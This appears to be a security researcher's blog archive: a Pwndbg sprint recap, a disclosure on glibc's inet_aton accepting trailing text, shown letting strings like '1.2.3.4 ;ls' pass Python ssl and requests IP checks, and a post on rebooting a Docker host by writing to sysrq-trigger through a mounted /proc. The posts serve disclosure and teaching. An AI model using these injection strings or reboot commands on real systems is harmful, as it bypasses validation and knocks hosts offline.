I did not expect many people to come, especially that I advertised the sprint ~2 days before the event.

But… 8 people (!) showed up (excluding me). I prepared a document with some basic information and tasks, which can be found here (though, it is in Polish and it was modified during and after the sprint).

I won’t lie: most people that came were friends of mine, some of which I play CTFs with. However, not all of them had really used or developed Pwndbg before.

Accomplishments from the two sprints

On the EP sprint, since we were just a group of four, we focused on small improvements to the codebase. In total, we did the following:

The last item from the list was the hardest to jump on and it still requires enhancements until it is merged. Nonetheless, all of this was a nice outcome from the whole sprint :).

On the second sprint, while we were a bigger group, we had much more limited time (since instead of having ~8 hours, we had just a few). Anyway, we were able to do the following:

Cleanup some code leftover after dropping Python 2 support,
Added documentation on how to debug Pwndbg using PyCharm remote debugging,
Reviewed and merged the PRs that sets $base_heap variable and a tip for it, which may be useful for heap exploitation,
Fix the X30 register display on AARCH64 targets,
Fix context args display when PC/IP register pointed to unmapped memory,
Fixed the xor and memfrob commands and added tests for them (! :D),
Worked on adding a way to dump memory that can be copied right away as C or Python code (this needs to be changed to a command flag),
Investigated a potential parsing issue, even looking at GDB’s command parsing source code, implemented potential patch, which only later turned out to be redundant and the issue to be invalid.

Summary and what’s next?

Organizing those sprints helped me to get back to develop the Pwndbg project more and and attract more people to contribute to it. I also think that more conferences should have this kind of attractions (similarly as more conferences should have lightning talk sessions, heh).

Regarding the Pwndbg sprints, I am organizing another one this week in Cracow on Tuesday, so if you live nearby and are interested in learning about Pwndbg or contributing to the project, feel invited! :)

PS: Thanks a lot to @arturcygan for reviewing this blog post.

Terrible inet_aton in glibc

Tue, 16 Feb 2021 02:00:00 +0100

TLDR: The man inet_aton states that “inet_aton() returns nonzero if the address is valid, zero if not” …and so it is sometimes used to check if a string is a valid IP address. Which should be fine, but isn’t, because some implementations are weird.

Let’s see an example C program, that has been linked with glibc and let’s run it on Linux:

#include <stdio.h>
#include <arpa/inet.h>

void p(const char* string) {
    struct in_addr pin = {0};
    int result = inet_aton(string, &pin);
    printf("inet_aton(\"%s\") = %d\n", string, result);
}

int main() {
    //  inet_aton(const char *cp, struct in_addr *pin);
    p("1.2.3.4");
    p("1.2.3.4;");
    p("1.2.3.4;ls");
    p("1.2.3.4 ");
    p("1.2.3.4 ;");
    p("1.2.3.4 ;ls");
    p("1.2.3.4 whyyyyyyy this works");
}

And the output:

$ uname -a
Linux 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

$ gcc --version | head -n1
gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0

$ gcc inet_aton.c -o inet_aton && ./inet_aton
inet_aton("1.2.3.4") = 1
inet_aton("1.2.3.4;") = 0
inet_aton("1.2.3.4;ls") = 0
inet_aton("1.2.3.4 ") = 1
inet_aton("1.2.3.4 ;") = 1
inet_aton("1.2.3.4 ;ls") = 1
inet_aton("1.2.3.4 whyyyyyyy this works") = 1

As we can see, glibc’s inet_aton will result 1 for strings that starts with valid IP addresses but ends with some garbage. I have found an explanation for it on glibc issue 20018 written by Florian Weimer:

This flexible behaviour is allowed because it makes parsing space-separated lists of addresses (as C strings) easier to manage. You advance the pointer between the address blocks and call inet_aton. In this case getaddrinfo uses inet_aton to determine the validity of the input string, and so considers “127.0.0.1\r\nspam” a valid name parameter and it is immediately converted into the address structure for 127.0.0.1.

This behavior is also mentioned by RedHat Bugzilla Bug 1347549.

Despite there is a reason for this behavior, I don’t think it is good to have it and it is a shame it isn’t documented properly in the inet_aton (2) manual page.

How do other projects use that?

I have made some research in 2019 where I looked at some open source projects and found out it was used in Python’s ssl builtin module and in the requests package. Let’s see how they used it.

Python’s ssl module

The ssl module uses inet_aton in its match_hostname function, that checks if a given hostname matches ssl cert.

While I was not sure if this was an exploitable bug, I and my friend Paul Kehrer reported this bug to the Python Security Response Team (PSRT) and it has been fixed in CPython’s PR 14499.

An example showing this issue can be seen below.

In [1]: import ssl

In [2]: cert = {'subjectAltName': (('IP Address', '1.1.1.1'),)}

In [3]: ssl.match_hostname(cert, '1.1.1.1')

In [4]: ssl.match_hostname(cert, '1.1.1.2')
---------------------------------------------------------------------------
SSLCertVerificationError                  Traceback (most recent call last)
<ipython-input-4-2c3754a67e0d> in <module>
----> 1 ssl.match_hostname(cert, '1.1.1.2')

/usr/lib/python3.7/ssl.py in match_hostname(cert, hostname)
    325         raise CertificateError("hostname %r "
    326             "doesn't match %r"
--> 327             % (hostname, dnsnames[0]))
    328     else:
    329         raise CertificateError("no appropriate commonName or "

SSLCertVerificationError: ("hostname '1.1.1.2' doesn't match '1.1.1.1'",)

In [5]: ssl.match_hostname(cert, '1.1.1.1 ; /bin/ls this works')

In [6]: # yes, it passed the check!

Python requests library

In Python’s requests module, the inet_aton is used in utils in the address_in_network, is_ipv4_address and is_valid_cidr functions:

In [1]: import requests

In [2]: requests.utils.address_in_network('1.1.1.1', '1.1.1.1/24')
Out[2]: True

In [3]: requests.utils.address_in_network('1.1.1.1wtf', '1.1.1.1/24')
---------------------------------------------------------------------------
OSError                                   Traceback (most recent call last)
<ipython-input-3-ca74bb828961> in <module>
----> 1 requests.utils.address_in_network('1.1.1.1wtf', '1.1.1.1/24')

/usr/lib/python3/dist-packages/requests/utils.py in address_in_network(ip, net)
    552     :rtype: bool
    553     """
--> 554     ipaddr = struct.unpack('=L', socket.inet_aton(ip))[0]
    555     netaddr, bits = net.split('/')
    556     netmask = struct.unpack('=L', socket.inet_aton(dotted_netmask(int(bits))))[0]

OSError: illegal IP address string passed to inet_aton

In [4]: requests.utils.address_in_network('1.1.1.1 wtf', '1.1.1.1/24')
Out[4]: True

In [5]: requests.utils.is_ipv4_address('1.1.1.1 disconnect3d was here...')
Out[5]: True

In [6]: requests.utils.is_valid_cidr('1.1.1.1 obviously not but yes/24')
Out[6]: True

I reported this issue to requests in requests#5131 which is still open, more than 1.5 years from reporting it.

Summary

There are probably more projects that rely on inet_aton which may introduce security bugs.

I guess that cases like this may be another reason why companies like Google are thinking about implementing their own libc.

We should never trust libs without checking the implementation and whether they are tested properly, especially if we want to use them to validate untrusted input. Such testing could be done via formally verifying a function. As an example this could be done here by using Trail of Bits DeepState project and adding tests to check if an input containing invalid characters can result in inet_aton returning 1.

Also, thanks to @bl4sty, who showed this inet_aton weird case at his talk at WarCon 2019 conference and to Paul Kehrer, who helped me to report this to Python Security Response Team (PSRT).

NOTE: This post was initially written in 2019, but I finally finished it and hit publish in 2021.

Checking if a mutex is locked in Go

Tue, 09 Jun 2020 07:13:37 +0200

I have written a blog post about checking if a mutex is locked in Go. It can be found at https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/.

Back to the blog

Thu, 09 Apr 2020 10:13:37 +0200

I haven’t written any post in here for some time and I want to fix that. For now, it is probably worth mentioning that in the meantime I gave many talks, reviewed some articles in Paged Out! and wrote two articles:

A blog post on Trail of Bits blog: “Understanding Docker container escapes”
An article “from cpython_exploit_ellipsis import *” to Paged Out! #01

Stay tuned for more content :P.

Reboot your pc from a docker container

Mon, 12 Nov 2018 10:00:30 +0100

I came back from a PUT Security Day where I gave a talk about Docker security. One of the questions I asked myself when preparing the talk is whether one can reboot their PC (aka host machine) from a docker container.

Rebooting the usual way: `reboot` program

Normally, one would use a reboot program to do this task but this program isn’t present in many of the docker images. Let’s give it a try with the official ubuntu image:

$ docker run --rm -it ubuntu reboot
docker: Error response from daemon: OCI runtime create failed: container_linux.go:348: starting container process caused "exec: \"reboot\": executable file not found in $PATH": unknown.
ERRO[0001] error waiting for container: context canceled

as we can see, the program isn’t in $PATH. Let’s see another ways of rebooting the container.

Reeboting with SysRq

It is possible to reboot Linux without any external dependencies by using SysRq. This can be achieved by first writing to the sysrq and then writing to sysrq-trigger to trigger the action:

$ echo 1 > /proc/sys/kernel/sysrq
$ echo b > /proc/sysrq-trigger

But if we execute it in a docker container, it won’t work, because the sysrq is a read-only file system in there:

$ docker run --rm -it ubuntu bash
root@c640b157389b:/# echo 1 > /proc/sys/kernel/sysrq
bash: /proc/sys/kernel/sysrq: Read-only file system

The thing is, even when we are the root user in a docker container (note: and this is the same root as on the host machine) we don’t get full capabilities. Those can be given by rerunning the container with --privileged flag:

$ docker run --rm -it --privileged ubuntu bash
root@e293a1c415a7:/# echo 1 > /proc/sys/kernel/sysrq
root@e293a1c415a7:/# echo b > /proc/sysrq-triggerERRO[0005] error waiting for container: EOF

Running this on my machine actually didn’t reboot it but that’s because I use Docker for Mac and so all the containers are spawned in a virtual machine used for that purpose. But the action killed the docker daemon and resulted with such error:

Supervisor has failed, shutting down: Supervisor caught an error: one of the children died: com.docker.driver.amd64-linux (pid: 37738)

Rebooting with `reboot` syscall

Another way to execute a reboot is to use a reboot syscall. This can be achieved with a short C program:

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/reboot.h>

int main() {
    return reboot(RB_AUTOBOOT);
}

Let’s try to compile and run it in a docker container. For a better understanding on what is going on, we will add a SYS_PTRACE linux capability to our docker container, so it will be possible to use strace, a linux syscall tracer program, that uses the ptrace syscall under the hood. We will also use gcc docker image with strace installed on it from apt.

$ docker run --rm -it --cap-add=SYS_PTRACE gcc bash
root@dfe469dd8034:/# apt update 2>/dev/null 1>&2 && apt install -y strace 2>/dev/null 1>&2
root@dfe469dd8034:/# printf "#define _GNU_SOURCE\n#include <unistd.h>\n#include <sys/reboot.h>\nint main(){reboot(RB_AUTOBOOT);}" > a.c && gcc a.c
root@dfe469dd8034:/# strace -e reboot ./a.out
reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART) = -1 EPERM (Operation not permitted)
+++ exited with 0 +++

It didn’t work as we didn’t add a SYS_BOOT capability (that makes it possible to use reboot and kexec_load syscalls). If we add it, the reboot will kinda work:

dc@dc:~$ docker run --rm --cap-add=SYS_PTRACE --cap-add=SYS_BOOT -it gcc bash
root@e5c15796ae6b:/# apt update 2>/dev/null 1>&2 && apt install -y strace 2>/dev/null 1>&2
root@e5c15796ae6b:/# printf "#define _GNU_SOURCE\n#include <unistd.h>\n#include <sys/reboot.h>\nint main(){reboot(RB_AUTOBOOT);}" > a.c && gcc a.c
root@e5c15796ae6b:/# strace -e reboot ./a.out
reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTARTdc@dc:~$

It actually killed the docker container but didn’t reboot machine the docker is run on (in this case I launched it on a vps). The reason for that can be found in man 2 reboot:

   Behavior inside PID namespaces
       Since  Linux  3.4,  if  reboot()  is  called from a PID namespace other than the initial PID namespace with one of the cmd values listed below, it performs a "reboot" of that namespace: the
       "init" process of the PID namespace is immediately terminated, with the effects described in pid_namespaces(7).

so the reboot worked, but for the PID namespace the container was in. A short explanation for those who are not familiar with linux namespaces: this is one of linux kernel features utilized by docker which makes it possible to create isolated groups of given resources (e.g. PIDs, users, mounts and others). See man namespaces for more info.

Can you use SysRq method without `--privileged` flag?

When I was preparing my talk I wondered if I can launch the SysRq example without the --privileged flag. At first I thought it may be because of lacking the SYS_BOOT capability or maybe something with the default seccomp profile the docker uses (source; as long as your kernel supports seccomp), so I adjusted the flags, but it didn’t help:

$ docker run --rm --cap-add=SYS_BOOT --security-opt seccomp=unconfined -it gcc bash
root@b6342cab4756:/# echo 1 > /proc/sys/kernel/sysrq
bash: /proc/sys/kernel/sysrq: Read-only file system

I thought that maybe some other capability is needed, so I tried adding all of them:

$ docker run --rm --cap-add=ALL --security-opt seccomp=unconfined -it gcc bash
root@c4d8b01be2d1:/# echo 1 > /proc/sys/kernel/sysrq
bash: /proc/sys/kernel/sysrq: Read-only file system

but all I got is Read-only file system.

It turns out this can be hacked by mounting the /proc virtual filesystem to be writable:

$ docker run --rm -v /proc:/writable_proc -it gcc bash
root@8c1d0f5ed52e:/# echo 1 > /writable_proc/sys/kernel/sysrq
root@8c1d0f5ed52e:/# echo b > /writable_proc/sysrq-trigger

…and now it rebooted the machine.

It seems there is no capability to make it possible to write to /proc. This stackoverflow answer also states that there are no ACLs for that.

The end

And that’s all of this reboot topic here.

In the end, it’s good that it is not possible to reboot the host machine with the default settings. It is possible to do so by using --privileged or by mounting the /proc virtual filesystem to be writable. I guess not very much people do that and I hope that if they do, they are aware of the consequences.

EDIT: Nonetheless, while not necessarily a fault of docker, this is a bad design that it is possible to reboot your host machine while disallowing the CAP_SYS_BOOT (or SYS_BOOT in docker nomenclature) capability.

If you ask what was the purpose - just playing with docker and understanding how the things are limited etc.

Also special thanks to Oshogbo for some ideas and discussion about this topic and to foxtrot_charlie and all the PUT Security Day team for inviting me to give a talk there o/.